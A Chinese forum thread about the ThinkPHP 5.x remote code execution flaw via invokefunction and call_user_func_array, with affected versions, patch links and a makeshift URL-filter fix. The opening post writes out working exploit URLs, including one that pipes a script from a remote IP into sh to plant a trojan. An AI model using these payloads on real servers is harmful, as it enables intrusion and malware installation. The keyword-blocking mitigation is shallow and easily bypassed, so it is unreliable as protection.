thinkphp5和6中call_user_func_array严重代码执行漏洞,非常严重
thinkphp吧
全部回复
仅看楼主
level 1
攻击脚本,执行下面方法
http://www.您的域名/index.php?s=/Index/think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=ls
最后的ls就是linux命令,如果你是linus系统,会列举你的文件夹和文件显示,如果是其他攻击脚本,可以随意执行你的系统命令
比如
/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%2082.117.252.83/t.sh|sh
从远程服务器下载木马植入,后果严重。
目前官网给的方法经测试不管用。
0x00 前言
ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
0x01 影响范围
5.x < 5.1.31, <= 5.0.23
0x02 漏洞分析
Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
路由信息中controller的部分进行了过滤,可知问题出现在路由调度时
具体链接是链接 https://www.cnblogs.com/backlion/p/10106676.html
临时解决办法
在thinphp的App.php入口文件文件中,增加对call_user_func_array的限制
方法是
$url = $_SERVER['REQUEST_URI'];
//防止利用call_user_func_array执行漏洞攻击php
if(strpos($url,"invokefunction")!==false)
{
die("web defense this action is forbiden...");
}
if(strpos($url,"call_user_func_array")!==false)
{
die("web defense this action is forbiden...");
}
2022年01月25日 15点01分 1
level 1
$url = $_SERVER['REQUEST_URI'];
转为小写判断
$url = strtolower($url);
2022年01月25日 15点01分 3
level 1
中毒后cpu使用率奇高
2022年01月25日 15点01分 4
level 1
您好,但是为什么我的php7.4.33也被攻击了[泪]
2025年07月20日 06点07分 5
level 8
太吓人
2025年10月24日 06点10分 6
1